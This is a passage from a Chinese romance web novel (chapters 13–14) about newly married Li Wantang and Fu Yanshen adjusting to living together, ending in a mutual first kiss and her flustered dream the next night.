黎晚棠靠着椅背喝着茶,见他看完了,忙坐起身:“怎么样,有异议吗?” 傅砚深把协议放桌上:“没有,但我做了份更详细的婚前协议。” 说着,他从公文包里拿出一份文件,不管从外观上,还是厚度上,都比黎晚棠那份正规。 黎晚棠嘴角抽了抽,弯腰拿了过来,她所提到的内容上面都有,不干涉对方的事业,以及是否要孩子,都取决于她。 多出来的,就是一些产权问题,没有所谓的婚前财产,婚后他名下所有财产将成为夫妻共同财产,其中不包括她的。 黎晚棠眼睫很轻地眨了下,这份协议跟之前的优劣报表一样,她明显是受益的那方。 她深吸一口气,看向对面的男人:“你就没有别的要求?” “有。” 傅砚深黑眸静静锁住她那张脸,声音低沉:“我不接受形婚。” 13-20 第13章 空气仿佛在两人对视中凝固,就连她踮脚动作也变得格外缓慢,像极电影里播放的慢镜头。 黎晚棠踮起脚尖的那一瞬,才恍然回神,懊恼自己怎么会冒出这种想法时,慌忙地想退回去。 可对上男人那双审视的眼神,她迟疑两秒,又继续向前,镇定伸手在他头发上轻拍了两下:“……你头发沾到点东西,我帮你拍掉了,不用谢。” 说完,立马从他臂弯挣脱出来。 黎晚棠不自在地别过头,余光瞥见还在乱转的扫地机器人,快速转移话题:“对了,这东西是不是出问题了,老追着我不放。” 在女孩离开的那一瞬,傅砚深喉结很轻地滚了滚,微屏着的呼吸,不动声色释放。 刚刚……她是想亲他吗? 他可以肯定,他头发没沾上任何东西。 经过刚才那段插曲,两人的对话都有些僵硬:“没有,不是。” 然而他这话落下,屋内似乎变得更安静了些。 傅砚深垂睫,又详细地解释一遍:“我让人给它设定了入侵系统,通过扫描,它察觉到你的存在,所以才会一直跟着你。” 黎晚棠头一次听说扫地机器人还有这种功能,此刻见它乖乖停在一旁不动,像听到什么指令,正处于待机状态。 她好奇地蹲下身,偏头打量:“没看出来,你还挺聪明。” 扫地机器人自然是回答不了她这话,站一旁的傅砚深张口代劳:“它可以根据语音指令控制清扫模式,如果提供虚拟墙,它还能划分出不可清扫区域,而且它拥有双目视觉识别系统。” 黎晚棠诧异抬头:“哇,一个扫地机器人能这么厉害!” 她家里没有这些高智能的家电,一般都有阿姨打扫卫生,所以她很少接触这些科技。 但她也听说现在很多生活智能电器以及机器人,已经成功取代了部分工作人群。 黎晚棠站起身,问他:“那它叫什么名字?” 傅砚深:“石头。” 黎晚棠听后,眉梢微抬,随后很浅地勾了勾嘴角:“嗯,能取这名字,倒蛮符合你的个性。” 硬邦邦的跟他本人一样。 傅砚深没接她这话,余光瞥见她脚上的舞鞋,侧身按压玄关竖立柜门,下一秒,排列整齐的鞋架显露出来。 他弯腰拿出一双崭新的粉色拖鞋,递给她:“你穿这个吧。” 黎晚棠微诧的目光从他那排鞋柜收回,低头看着脚边那双粉色拖鞋,嘴角轻扯:“特意给我买的?” “嗯,家里给你准备了一些基本的生活用品。” 傅砚深低头去换拖鞋,将换下来的皮鞋整齐放入柜中:“有喜欢的你可以用。” 余光瞥见黎晚棠换下来的那双舞鞋,他顺势抬手拿过,平整对齐后,放入给她空出的鞋柜。 黎晚棠刚要出声,说自己可以放,但看见男人已经整整齐齐摆放好,到嘴边的话又咽了回去。 她不自在地扯了扯唇:“谢谢。” 傅砚深站起身,垂眸看她:“这以后也是你的家,不用客气。” “……” 黎晚棠弯唇,没接话。 傅砚深走上前,握住她的行李箱,推着往里走:“这里的一切你都可以使用,没有禁区。” 黎晚棠跟在他身后,偏头四处打量这套房子的格局,好奇问:“房子面积有多大?” “加上户外阳台,一共365平。” 黎晚棠微微挑眉,能在市中心拥有这么大面积的房子,看来他们搞金融的真是不少挣。 “右边是健身房,你想运动各类器材都有,左边是开放式厨房,走廊尽头是我平时办公的书房。” 傅砚深边走边介绍房子格局,等他们站定在一间卧室门口时,他忽然停下,转身看着她:“这间是我们的卧室。” 黎晚棠倏地抬头看他,眼底闪着疑惑:“我们的……卧室?” 她才刚搬进来,就要在睡一起了吗? 傅砚深仿佛看出她的疑惑,语气平静到没半分邪念:“夫妻之间,如果分房睡,只会拉开两人的距离。” 他们之间的距离已经够宽,再分房,那就不是夫妻,而是室友。 “话没错,但是……”黎晚棠扯唇:“不应该有个适应期吗?” 她一个人睡了二十四年,现在突然要跟另外一个不算很熟的男人,同床共枕,换谁能习惯。 “我先睡客房行不行?”她试着商量。 傅砚深坦然:“我家没有客房。” “怎么没有!” 黎晚棠仿佛抓到他说谎的把柄,立马指向斜对面那间紧闭的房门,信誓旦旦道:“喏,我都看见了。” 傅砚深顺着她指尖偏头,视线停留了几秒,松开行李箱,抬步走了过去:“这间原先确实是客房,但现在不是了。” 黎晚棠快步跟上,等傅砚深推开房门,她偏头看清里面景象时,反驳的话顿时噎在喉咙里。 不是客房,而是一间宽敞明亮的舞蹈房。 黎晚轻眨着眼,像被眼前发景象震惊到,好一会儿,才抬头去看他:“你特意改的?” 傅砚深:“知道你家里有间舞蹈房,而且你有每天晨练的习惯,所以在你搬进来之前,特意找人改装的。” 他稍稍侧身,抬手示意:“要不进去看看,有不满意的地方,我再叫人改。” 黎晚棠轻眨着眼睫,一步步走了进去。 橘粉色的墙面,让整个舞蹈房看起来温馨柔和,浅木色的地板,采用了松木结合地胶的材料,提高了舒适度和安全性。 头顶有灯光音响,右侧整面墙镶嵌一块超大的全身镜,侧边安装了一排米白色的把杆,角落那盆龟背竹给这个房间增添了几分生机。 黎晚棠看着眼前的一切,心里五味杂陈,对于一个舞者来说,这是他们最好的礼物。 她从没想过,傅砚深会把一间客房改成舞蹈室,细心考虑到她的需求,事事为她着想。 黎晚棠抿了抿唇,现实中的同居,好像比她理想中的理想,陌生的环境,没让她心里出现太强的分离感。 起码这里还有一个属于她自己的空间,舞蹈房。 这一刻,她忽然觉得,两人真住在一起也没什么。 黎晚棠抬头看着他,语气真诚:“谢谢,很好。” 傅砚深再次提醒:“我们之间不需要说谢谢。” 黎晚棠沉默了下,垂眸点头。 她需要尽快让自己适应两人之间的关系,适应两人的同居- 推门进入卧室,映入眼帘的是那张两米宽的大床。 黎晚棠盯着这个宽度,揪着的那颗心得到了释放。 起码一人盖一床被子,也不会拥挤。 “往里走是衣帽间,衣柜里给你准备了一些换洗衣物。” 傅砚深推着行李箱放在衣柜前,出门前叮嘱:“你先洗澡吧,我去书房处理点工作。” 这时候,他应该留给她一些适应的空间。 黎晚棠见男人背影消失,绷紧的身体唰一下放松下来。 片刻,她才仰头漫不经心打量起周围。 卧室的装修比客厅看着舒服,起码没有那么沉闷,床和柜子选用的都是暖棕色,衣帽间是深棕色,墙柜隔层还安装了感应灯。 黎晚棠将自己的行李箱打开,把衣服全部挂入衣柜里,关门时,余光瞥见那头整齐有序的西服,颜色从浅到深,一目了然。 她垂睫看了眼自己这头,除了他提前帮她挂好的看着整齐点,刚挂上去的衣服,有点像商场门口摆放的特卖商品。 沉默片刻,黎晚棠又耐着性子重新挂好。 刚搬进来,别太早暴露本性。 收拾完,黎晚棠拿上睡裙进入浴室。 看着壁柜上摆放的女士沐浴露和洗发水,以及日常用的护肤品,她眉头皱了皱。 有几款看着眼熟,她好像哪里见过。 刹那间,黎晚棠猛然想起,上次在苏州跟他同住酒店,她用的就是这些东西。 没想到他都带回京北了。 洗完澡出来,傅砚深还没从书房回来,她盯着那张床看了看,选择在右边躺下。 只是刚盖上被子,房门就被人推开。 对上傅砚深看过来的疑惑目光,她忙开口解释:“我在家习惯睡右边,不影响你吧。” 傅砚深回神:“没有。” 只是床上突然多了她的身影,他一时有些恍惚。 说着,他疾步进入衣帽间,转身进了浴室。 不一会儿,浴室淅淅沥沥的水声响起,黎晚棠裹着被子侧身蜷缩着,心里莫名冒出几分紧张。 傅砚深说过他们这段婚姻不是形婚,所以今晚他不会就想要吧? 思及此,她忙闭上眼睛,努力装睡。 如果他还是个人,就不会禽兽到把她弄醒。 不知酝酿了多久,直到浴室水声停止,她明显感觉旁边的床垫陷下去一块,陌生的气息铺天盖地笼罩下来。 可到目前为止,她还是没挤出半点睡意。 平时这个点早过了她的睡觉时间,但她却隐隐感觉,自己今晚可能会因此失眠。 黎晚棠闭着眼睛不敢乱动,耳朵却灵敏听到他关灯的声音,过了好一会儿,她睁开眼,眼前视线只剩下一片漆黑。 对着虚空,她无声舒了口气。 看来今晚傅砚深没想打破事先说好的形婚。 或许时间太晚,他精力有限? 这般想着,黎晚棠悬着的那颗心缓缓落下,再度闭上眼睛,等思绪彻底放松下来,渐渐有了点困意。 排练一整天,她是真累了。 不作为了多久,当耳边传来平稳的呼吸声,傅砚深这才在黑暗中偏头,借着对环境的熟悉,他能依稀看清女孩是背对着他睡的。 黎晚棠抱着被子蜷缩在边缘,中间空出来的位置,能多挤下两个人。 片刻后,他收回目光,黑眸盯着虚空出神。 回想自己衣柜里多出的亮丽色彩,以及台面上被人使用过的瓶瓶罐罐,同居的实感在心里加深。 她不习惯,他也同样有些陌生。 次日,黎晚棠的生物钟让她五点半,准时醒了过来。 迷迷糊糊睁开眼,脚趾下意识在被子里绷直,她刚要高抬腿,猛然意识到,这里不是她家。 极其缓慢地放下双腿,她稍稍偏头,平躺熟睡的傅砚深双眼紧闭,似乎没有被他的动作吵醒。 黎晚棠掀开被子,动作极轻地下床,最后连脱鞋都不敢穿,踮着脚尖出门。 关上房门的那一刻,她低头对着光滑的大理石地板,轻叹了口气。 突然要迁就一个人真的好麻烦,睡觉的姿势不敢乱动,就算起床还得小心翼翼,走路都跟做贼似的。 她弯腰穿上拖鞋,动了动压麻的胳膊,往前走了两步,又忽地停了下来。 不是! 她没洗脸也没换舞蹈服,就算出来了,这身衣服明显不合适去晨练。 没办法再偷偷进去一趟,黎晚棠没事做,索性打量起眼前的陌生环境。 毕竟以后都要暂住这里,她得尽快习惯这个环境才行。 从客厅逛到厨房,黎晚棠走上前,伸出食指在灶台上擦了下,没沾染一丝油烟灰尘,看来傅砚深平时不在家做饭。 她扭头环视一圈,在客厅衔接的中央,发现傅砚深镶嵌式的双开门冰箱。 “还挺会利用空间的。” 黎晚棠低声嘀咕一句,而后走上前,从里面拿出一瓶矿泉水。 没喝几口,身后忽然转来动静,一回头,就看见穿着深灰色睡衣出来的傅砚深。 极其保守的睡衣款式,不仅颜色暗沉,经典的格子印花老土,跟他爸穿的款式差不多。 好歹这个天气他爸已经换成了短袖,而傅砚深的长袖长裤,她看着都热。 “早起来喝冰水会对胃不好。” 傅砚深大步上前,夺过她手里的矿泉水,转身来到水吧台,从净水器接了杯温水递给她:“以后要喝,就喝这个过滤水,对身体好。” 黎晚棠愣怔地望着手里这杯温水,还没反应过来,男人就转身返回了卧室。 她嘴角抽了抽,内心刚要吐槽他这种老父亲的行为堪比她爸,傅砚深又再度走了过来。 此刻他手里多了见薄外套。 “室内温度有点凉,以后在家别穿这么清凉的裙子。”傅砚深帮她披好外套,低头凝着她,似乎要得到她肯定的答复。 “……” 黎晚棠眨眼,低头看了眼身上的外套,忽而想起上次买戒指她穿吊带裙,他也是用这个理由。 她动了动嘴角:“傅砚深,你是不是看不惯我这么穿?” 傅砚深视线从她肩头扫过,不经意看见锁骨下的起伏,快速别过头:“如果你没有套装睡衣,我可以让人准备几套。” 这样的回答,算是默认黎晚棠刚才的问题。 黎晚棠无语地抿抿唇,而后仰头一口气喝完杯中水,目光又直直地盯着他:“傅砚深,我才搬进来,你现在就要管我如何穿衣服了吗?” “不是要管,而是你在空调房穿着清凉,一旦寒气入体,年纪大了会落下关节疼的毛病。” 傅砚深面不改色解释:“不要觉得年轻,就提前耗掉身体的保护机能。” “……” 黎晚棠眉头微蹙,像这样的话沈老师以前没少说,总絮叨年轻的时候不好好保护身体,年纪大了就会后悔,到头来什么没捞着,就剩一身病。 如今没了沈老师的絮叨,傅砚深成功接管了她这个角色。 “行,我下次注意。” 黎晚棠紧咬着牙,大早上不想跟他争论,而且经验告诉她,挣到最后不会有什么好结果。 沈老师如此,傅砚深也是。 她放下水杯,侧身掠过他去往卧室时,忽然回头:“对了,我每天起床的时间比较早,如果打扰到你的睡眠,你可以及时提出来。” 傅砚深反问:“你平时几点起?” 黎晚棠道:“不休息的时候都是五点半。” 傅砚深点头:“行,那以后我提前半个小时起床。” “……” 黎晚棠愣怔眨眼,片刻才理解他这话的意思。 提前半个小时? 也就是说他平时是六点起床。 他有病吧,正常人没事起那么早干嘛! 如果不是她从小练舞习惯晨功,加上迫不得已,谁愿意那么早起床。 黎晚棠压着心底的不适,试着提出解决办法:“实在不行,我们就分房睡吧,我直接睡客厅的沙发,这样也不会影响你睡眠,而你也不用迁就我的时间早起。” 同睡一间房,很多事情都不方便。 傅砚深转身来到水吧台,低头给自己接了杯温水:“不用,以往我是十一点睡觉,从今天开始提前半小时,只要确保七个小时的睡眠时间就行。” 黎晚棠瞬间无语了,他还能这么操作。 如此调整,他的生活作息不就跟她撞上了。 昨晚还觉得同居还行,现在、立马、迫不及待把这个想法推翻。 什么都撞在一起,好个屁!- 黎晚棠洗漱完,换上衣服就去了舞团。 仿佛再多待一秒,她就能原地爆炸。 搬进傅砚深家的事,除了两家长辈知道,剩下的就是叶知薇。 叶知薇估计是压了一整天的八卦,刚下班就过来堵她。 “走吧,我们找个地方边吃边聊。”她笑吟吟挽着黎晚棠上车,去她们常聚的金樽坊。 靠窗落座,叶知薇就急不可耐地凑到她耳边,轻声询问:“怎么样,昨晚吃上了吗?” 黎晚棠正低头翻看菜单,一时没反应过来她这话的意思:“吃什么,我还没看好呢。” 叶知薇噗嗤一声,被她单纯的模样逗笑:“我说的是吃你老公,你说的是吃什么?” 闻言,黎晚棠立马偏头去看周围的人,见没人注意她们这边,皱眉警告:“你说话小点声。” “哎呀,我说话声不大,是你太敏感了。” 叶知薇懒洋洋地靠向沙发,双手环胸:“不过看你这反应,我已经知道答案了。” 黎晚棠挑眉问:“单从面相,就能看出答案?” “太能了。” 叶知薇目光在她身上扫了几眼,咧嘴笑道:“你精神状态正常,走路姿势也正常,脖子没有多余的痕迹,一猜你俩就是夏天盖棉被纯聊天。” “……” 谈过跟没谈过的人,某些方面确实有经验。 “所以说,还是社会我薇姐,这话一点没错。”黎晚棠弯唇调侃。 叶知薇气笑:“滚,少埋汰我。” 上菜后,两人边吃边聊,话题始终围绕她和傅砚深。 “不是,你这么个大美女躺在傅砚深边上,他就没有任何想法?”叶知薇还是不死心。 “彼此都不怎么熟的两个人,睡一张床上就能产生想法,那是脑子有病吧。” 黎晚棠低头吃菜,不能理解她这个说法。 “你难道不知道,成年男女发生一夜情,靠的不是爱情,而是刺激下产生的欲望。” 叶知薇眯眼反问:“那我问你,你面对傅砚深那张俊脸,心里就一点想法都没有?” 黎晚棠吃菜动作忽停,脑子里顿时涌现出,他们昨晚在玄关处,她莫名其妙产生想吻傅砚深的冲动。 所以按照叶知薇的分析,她对傅砚深也有冲动和欲望。 这无关爱情,就是单纯的生理反应! 想到这,黎晚棠忙端起水杯猛灌了口,莫名觉得心里燥得慌。 以前是真没发现,她在这方面的需求会这么强。 面对谁不好,怎么偏偏对傅砚深产生这种欲望,难道就是因为他长得好看? 还是说,她有病,或者是心理不正常。 一连串瞎想下来,黎晚棠深吸口气,舔唇问:“……如果真有,这种思想正常吗?” “正常呀,这叫肾上腺素飙升的正常反应。” 叶知薇身体稍稍往桌前倾,意味深长地朝她挑眉:“姐妹,勇于直面自己的情感需求,也是判断你性取向是否正常的一种方式。” 黎晚棠从小到大,身边围绕的都是群女生,而她也更愿意跟女生玩,不太喜欢男生的触碰,所以她母胎单身二十四年,从没谈过一段恋爱。 叶知薇确实冒出过,黎晚棠是不是喜欢女生的想法。 “……” 若要聊荤话,黎晚棠自认不是叶知薇的对手。 她立马转移话题:“对了,我们舞蹈团这月中旬有场团内比赛,你有时间要不要过来看。” “来,必须来呀。” 话题被成功转移,黎晚棠暗暗松口气。 同一家饭店,裴竞洲兴冲冲地推开包厢门:“老傅,你猜我在外面看到谁了?” 听到这话,傅砚深以及在做的周叙白和程晏川,三人同时扭头看去。 今日几人能约在金樽坊,是得知千年铁树傅砚深突然领证的消息,大家想亲自过来盘问情况。 裴竞洲堵车,最后一个赶到。 他进来就咋咋唬唬,把所有人的目光吸引过去。 周叙白慢条斯理端起茶杯饮了口,笑问:“谁影响力那么大,能让你如此激动。” 裴竞洲刚落座,就随手端起一杯茶喝了口:“说了你也不认识,这事我只能跟老傅聊。” 傅砚深抬眸看他,很给面子地问了句:“谁?” “就假装跟我相亲的那个黎晚棠啊,你上次让我不要去打扰人家,现在又碰巧在这里遇上,证明我和她还是很有缘分的。” 裴竞洲对黎晚棠印象不错,虽然被傅砚深警告离她远点,如今再次碰上,还是会有心动的感觉,他还想再争取一下。 他没察觉傅砚深的情绪变化,接着说:“我进来就是跟你们打声招呼,兄弟我今晚不跟你们聚了。” 程晏川瞥了眼脸色越发冷沉的傅砚深,不动声色地低头去喝茶。 他不出声提醒裴竞洲,颇有种看好戏的心思。 周叙白没那么细心,见裴竞洲要走,仰头不悦道:“喂老裴,你别重色轻友啊,今晚我们不是来盘问老傅结婚的事吗,你走了算什么。” 提到这事,裴竞洲猛然反过来,笑着去问傅砚深:“老傅,那你就直接说吧,你到底跟谁结婚了?” 鞜樰證裡傅砚深拿过手机站起身,冷眼看他:“黎晚棠。” “……” 裴竞洲嘴角笑容僵住,不可置信地喊道:“老傅,你别开玩笑呢!” 怎么会是黎晚棠呢,当初见面他们都不认识。 傅砚深阔步往外走,语气淡然:“我什么时候开过玩笑。” 三人都有些吃惊的看着离开的傅砚深,等反应过来去喊他,人已经出去了。 周叙白卧槽一声,偏头去问傻愣着没动的裴竞洲:“老裴,这到底什么情况?” “我他妈怎么知道,老傅他横刀夺爱!” 裴竞洲匆忙站起身,抬脚就准备去追傅砚深,打算要他把这件事说清楚,可就在这时,他手臂突然被程晏川拽住。 他茫然回头:“又怎么了?” 程晏川嘴角轻扯:“不想挨揍,劝你别追。” 裴竞洲:“……”- 这边,傅砚深疾步走出包厢,立马就给黎晚棠打去电话。 下班前她只说要跟朋友去吃饭,他没细问她们去哪里吃,现在听裴竞洲这么说,原来他们在同一家饭店。 “喂。” 来到二楼扶手口,傅砚深一偏头就看见靠窗坐的黎晚棠:“什么时候结束,我们一起回去。” 黎晚棠反应过来他这话,错愕问:“你也在金樽坊?” “嗯,跟朋友过来吃饭,你要结束了给我打电话。” 黎晚棠看了眼对面的叶知薇,又垂下眼睫:“差不多了,你在哪?” 傅砚深立马侧身下楼:“我在停车场等你。” 挂断电话,黎晚棠弯腰开始收拾东西:“傅砚深说要过来接我,那我就先走了。” “喂!就走,不再聊会儿?”叶知薇问。 “改天吧,刚搬进他家,各方面都要收敛点。”黎晚棠起身,朝她挑眉:“等会儿记得去买单。” 叶知薇笑骂:“赶紧滚。” 黎晚棠笑着转身,只是刚走出饭店门口,就看见傅砚深那辆熟悉的宾利。 开门上车后,她随口问了句:“你们吃好了?” 傅砚深见她系好安全带,熟练转动方向盘,低声道:“嗯。” 其实还没开吃,他就先走了,或许是担心裴竞洲真跑去找黎晚棠,他坐不住。 黎晚棠漫不经心地哦了声,脑袋靠着椅背,偏头去看窗外。 傅砚深瞥她一眼,默默把车速减了下来。 车速平稳行驶,黎晚棠到半路就睡着了,等车进入地下车库,这才悠悠转醒。 她睁开眼看了看窗外,惺忪开口:“唔,我们到了。” 她迷迷瞪瞪推开门,下车时,连背包都忘拿了。 走了几步发现两手空空,黎晚棠忙回头,余光瞧见傅砚深手里拎着的背包。 她伸手:“给我吧。” “不用。”傅砚深避开她的手,侧身去按电梯:“走吧。” 黎晚棠见电梯门已经开了,收回手,任由他拿。 有人帮忙提包,她乐意极了。 电梯很快抵达二十二楼,傅砚深腿长走得快,她快步走了出去,低头跟在他身后。 输入密码进屋,黎晚棠垂眸继续往里走,额头忽然撞上一道温热硬实的胸膛。 她下意识抬头,傅砚深不知何时停下脚步,正低头看着她。 黎晚棠抬手揉了揉额头,茫然问:“怎么了?” 傅砚深幽暗的目光落在她脸上,想要问的话,最后还是没问出口,刚要收回视线,余光瞥见她肩头那根掉落的头发,几番挣扎,还是没忍住抬手。 男人俯身靠近的那一瞬,温热的气息冷不丁袭来,黎晚棠身体本能地僵了僵。 他、他现在是想干嘛? 紧张之余,她轻颤的眼睫却不由自主落在,他淡粉色的唇瓣上。 心却在纳闷,傅砚深一个大老爷们,唇瓣怎么会那么粉。 难道他平时也擦护唇膏? “你肩头有根头——” 在傅砚深即将直起身时,黎晚棠忽然扯住他的衣领,不由分说地仰头亲了上。 不知是想证实心中想法,还是想验证叶知薇所说的欲望,这一刻,她就想这么做。 很快,她在心底得出结论。 温热的,很软,有点像她吃过的牛奶布丁。 黎晚棠原本就只想尝一口,快速碰了下就准备退开。 然而这时,她后腰蓦地被一只大手控制住,接着啪嗒一声,是背包落地的声音。 黎晚棠还没反应过来,原本拿着背包的人,此刻倾身向前,双手捧住她的脸。 毫无预料的吻,落了下来。 第14章 温热的唇瓣再度覆上,黎晚棠忽地瞪圆了眼睛,仿佛不敢置信,此时反吻她的人,是一向清心寡欲的傅砚深。 他偏头压下,薄唇很轻地落在她唇瓣上。 角度精准,似乎提前用目光丈量过。 唇上动作生涩而又僵硬,唇碰唇亲吻了两下,便没了其他动作,或许是从未有过这方面的经验,她能感觉到,傅砚深正在探索。 也许是教科书上没教过,所以接吻对他这种学霸来说,需要如何去掌握那个度。 傅砚深脸上看似从容淡定,内心实则在克制。 对于接吻他确实没有经验,只是在女孩离开时,本能地将人扣在怀里,没任何技巧的吻着。 黎晚棠纤长的睫毛因紧张,轻轻颤抖。 而且被傅砚深毫无章法的吻,亲得难耐又心急。 她虽然也是第一次接吻,完全没有任何实质性的经验,但架不住身边有个不断给她灌输思想的叶知薇。 所以,就算她没见过猪跑,也吃过猪肉。 感觉傅砚深这个吻一直停滞不前,黎晚棠忽而抬手勾住他脖子,踮脚回吻上去。 感受到女孩的回应,傅砚深身体骤然紧绷。 绵密而又细腻的柔软覆上,让他有了片刻的失神。 这个吻与她之前浅尝时截然不同,这次多了几分急躁。 当她试探性伸舌探齿,傅砚深在这一刻猛然回神,大脑像渗透进某种精细零件,他眼眸忽暗,反手将鼻梁上的眼镜取下。 指尖捏住她的下巴往上抬,偏头压了下去,力度逐渐加重。 唇与唇纠缠时,生涩得像两片不知所措的羽毛,鼻尖偶尔相撞,牙齿还会不小心碰到彼此的唇瓣。 最后冲动之下的吻,在懵懵懂懂中结束。 黎晚棠垂睫退开时,缓缓收回挂在他脖子上的手,忙别过头,不好意思与他对视。 他们真接吻了,还接得那么彻底。 明明都没喝酒,刚才产生的冲动却像染上迷药,都有些情不自禁。 黎晚棠仿佛有点懂了,叶知薇所说的肾上腺素飙升,他们刚才的行为就是最好的实验结果。 气氛安静得尴尬,黎晚棠想说些什么来打破这一刻的沉默,站她面前的男人先开口。 “对不起,没忍住。” 傅砚深自认为他是个极其冷静克制的人,但在女孩吻上来的那一瞬,他没克制住。 黎晚棠假装淡定地抬头看他,嘴角轻扯:“……我俩都领证了,亲一下不犯法吧?” 傅砚深没戴眼镜,却还是清楚看到女孩耳朵红了:“没有。” 说着,他侧身拿过眼镜,重新戴上。 “那不就得了,你不用跟我说对不起。” 黎晚棠语气坦然,弯腰去换拖鞋的同时,顺势捡起地上的背包:“再说,是我主动吻的你,我俩扯平了。” “那个,我先去洗澡了哈。” 丢下这句话,黎晚棠故作镇定地转身,行为颇有种渣女吃完就走的错觉。 傅砚深站在原地半天没动,片刻,他抬手轻轻触碰了下唇瓣。 右侧嘴角,好像不小心被她咬疼了。 黎晚棠快速进入浴室,而后忙反锁房门,后背抵在门板上,仰头大口大口地呼吸着。 回想玄关那一幕,她羞涩地闭上眼睛。 疯了疯了,她真把傅砚深给亲了。 明明毫无经验,却像老师似的主动去引导别人接吻,最后慌乱之下咬了傅砚深的唇。 他刚才应该没察觉,灯光下,他嘴角都有点肿了。 黎晚棠越想越尴尬,肠子都悔青了,忙跑去洗手台,弯腰掬了捧冷水猛冲脸颊。 好半晌,心绪才平复下来。 她一时半会儿不好意思出去,在浴室磨蹭了好半天,实在没事干了,不得不出门。 指尖扒在门框上,探出脑袋偷偷往卧室看了眼,幸好,傅砚深这会儿还没回来。 黎晚棠迈着小碎步跑到床边,忙不迭掀开被子躺了下去,而后直接把被子拉过头顶。 隔了几分钟,差点没把自己闷死。 重新扯下被子,她偏头瞅了眼床头时钟,还差二十分钟,就十点半了。 今早傅砚深说过要提前半小时睡觉,可这个点都没回来,难道他也不好意思。 应该不能? 毕竟他接吻结束时,道歉的声音挺淡然,估计亲嘴对他来说就是开了个研讨会。 他只是在实战中,得到了不算满意的研讨结果。 黎晚棠深吸了口气,眼睛直愣愣盯着床头柜上跳动的时针,似乎想验证一下,平日时间观念极强的傅砚深,会不会打脸。 还差一分钟时,房门突然从外打开,身穿深灰色睡衣的傅砚深走了进来。 他垂眸平静地看了眼蜷缩在被子里的人,漫步走到床前,极其自然地掀开被子躺下。 关上灯之前,时针正好停留在十点半上。 黎晚棠半眯着的眼睛急忙闭上,这一刻连呼吸都放轻了几分。 可下一秒,她又猛然睁开,几番犹豫后,稍稍侧过身:“傅砚深,你好像还没洗澡。” 他不是有严重的洁癖吗,现在不洗澡就睡? “洗了。”傅砚深偏头:“健身房有间小浴室。” “……” 黎晚棠默默闭上嘴,又抱着被子转了过去。 “睡过来点。” 黑暗中,男人声音低沉,像磨损的老唱片。 黎晚棠内心警铃大作,摸不准他想干嘛。 刚刚接过吻,难道这会儿是要开展下一步? “……今天挺晚了,要、要不改天吧?”黎晚棠紧捏着被子一角,嗡声嗡气道。 傅砚深皱眉:“你在想什么?” “还能想什么,当然是想你想做的事。” 黎晚棠没认真琢磨他这句话,现在满脑子都是他之前说的那句:我不接受形婚。 同居的第一晚安然无恙,所以今晚呢,她是躲不掉了? “那你说说,我在想什么?”傅砚深平静地反问。 “你当然是想——” 黎晚棠还没说完,后面的话就卡在喉咙里。 这种话让她怎么好意思说出口! 见她不吱声,傅砚深黑眸微垂,直截了当地明说:“同房的事,你没做好准备前,我不会强迫你。” 黎晚棠蓦地转过身,声音提高了几分:“真的?” “嗯。” 傅砚深收回视线,身体平直躺平,双手交叉放在腹部,缓缓闭上眼:“要你睡过来,是怕你半夜掉下去,我还得去捞你。” “……” 虽然没他说得那么夸张,黎晚棠还是侥幸地弯起了弯唇:“哦,那我就不客气了。” 说着,她抱着被子往中间挪了挪,在距离他半臂位置前停下,随即双腿大咧咧展开。 在家她睡一米八的床,整个空间都是她的,睡相多少有点不好看,刚搬进来她为了保持形象,特意收敛了点,现在他都这么说了,她索性怎么舒服怎么来。 没了同房的担忧,心情舒畅。 本以为今晚会很难入睡,毕竟两人有了如此亲密的接触,心里多少会有些杂念。 然而当身旁传来平稳的呼吸声,黎晚棠听着听着,逐渐有了困意。 更离谱的是,她竟然还做梦了。 梦里两人依旧在玄关处。 取下眼镜后的傅砚深,仿佛像变了一个人,他不仅动作娴熟,吻技有了质的提升,勾住她腰间的手收紧,两人身体紧贴在,呼吸变得急促。 缠绵的吻汹涌而灼热,他蛮横无理夺取她的呼吸,主动探齿捕捉她的唇舌,细细品尝吮吸,完全没给她任何喘息的机会。 下一秒,男人单手将她托起,两人边吻边进入卧室,有些片段成了电视里不能播的画面……(请看清楚,这里只是接吻!) 黎晚棠猛然惊醒。 朦胧的目光盯着天花板呆愣了几秒,有些实感清晰袭来。 她面红耳赤地闭上眼,被子下的双手紧紧攥成拳。 似乎没办法接受,单身二十四年的她,第一次做这种梦,而且梦里的对象,还是躺在她身旁的傅砚深。 啊啊啊!!! 让她原地爆炸吧,这一刻只想自我毁灭,甚至消失! 这种梦简直太羞耻了! 她到底是有多饥渴,才会连傅砚深都不放过! 黎晚棠机械般偏过头,见男人还没醒来的迹象,先偷偷摸摸下床,而后进入衣帽间,翻出替换的衣裤。 而后接着蹑手蹑脚出门,快步窜进健身房的浴室。 幸好昨晚得知健身房有间小浴室,拯救了她的命。 洗好澡,换上干爽的舞蹈服,黎晚棠这才感觉活了过来。 对着窗外深吸了几口新鲜空气,甩掉那些旖旎的画面,开始今天的晨练。 雷打不动的基本功训练- 生物钟提前,傅砚深特意定了五点半的闹钟。 闹钟刚响,他急忙伸手关掉,回头去看,身旁已经没了人影,只楼下一团揉得皱巴巴的被子。 傅砚深坐起身,抬手捏了捏眉心,明显睡眠不足。 昨晚脑子里来回闪在玄关处,他与她接吻的画面,半点困意都没有。 怕身边女孩有心理负担,他才故作睡着的状态。 最后她入睡了,他却久久没睡着。 傅砚深掀开被子下床,俯身整齐把两床被子铺好,目光在环视一圈,确定没有凌乱的地方,转身去了浴室。 洗漱台干净整洁,看似并没有使用过的痕迹,傅砚深皱眉,想来是黎晚棠怕水声吵醒他,所以没选择在这洗漱。 他洗漱完走出卧室,刚经过书房,就听到舞蹈室传来轻快地脚步声。 上前透过门缝偏头,黎晚棠正在做圆场步,以脚尖和脚跟为轴进行圆形移动。 这是古典舞晨练的基本功,他之前有了解过。 傅砚深收回视线,放轻脚步,转身进了健身房。 七点后,黎晚棠满头汗水地从舞蹈房出来。 推门卧室门,干净整洁的床铺,空无一人。 以为傅砚深还在书房工作,她拿上换洗衣服进入浴室。 洗完澡来到客厅,一偏头,就看见在厨房忙碌的傅砚深。 男人一身家居服,跟他平日西装革履的样子截然不同,可能是身高及身材的优势,就算他腰间围了条黑色围裙,优越的气质没有一丝煮夫感。 反倒他与生俱来的帅气,依旧让人赏心悦目。 黎晚棠默默收回视线,转身移步水吧台,接了杯温水喝了口,就听到男人叫她。 “过来吃早餐。” 黎晚棠动作顿住,迟疑偏头:“……有我的份?” 傅砚深看她一眼:“嗯,有。” 黎晚棠微微挑眉,端着杯子走了过去,看到桌上的全麦面包,外加一个水煮蛋和一杯热牛奶。 是她能吃的食物,却是她不想吃的东西。 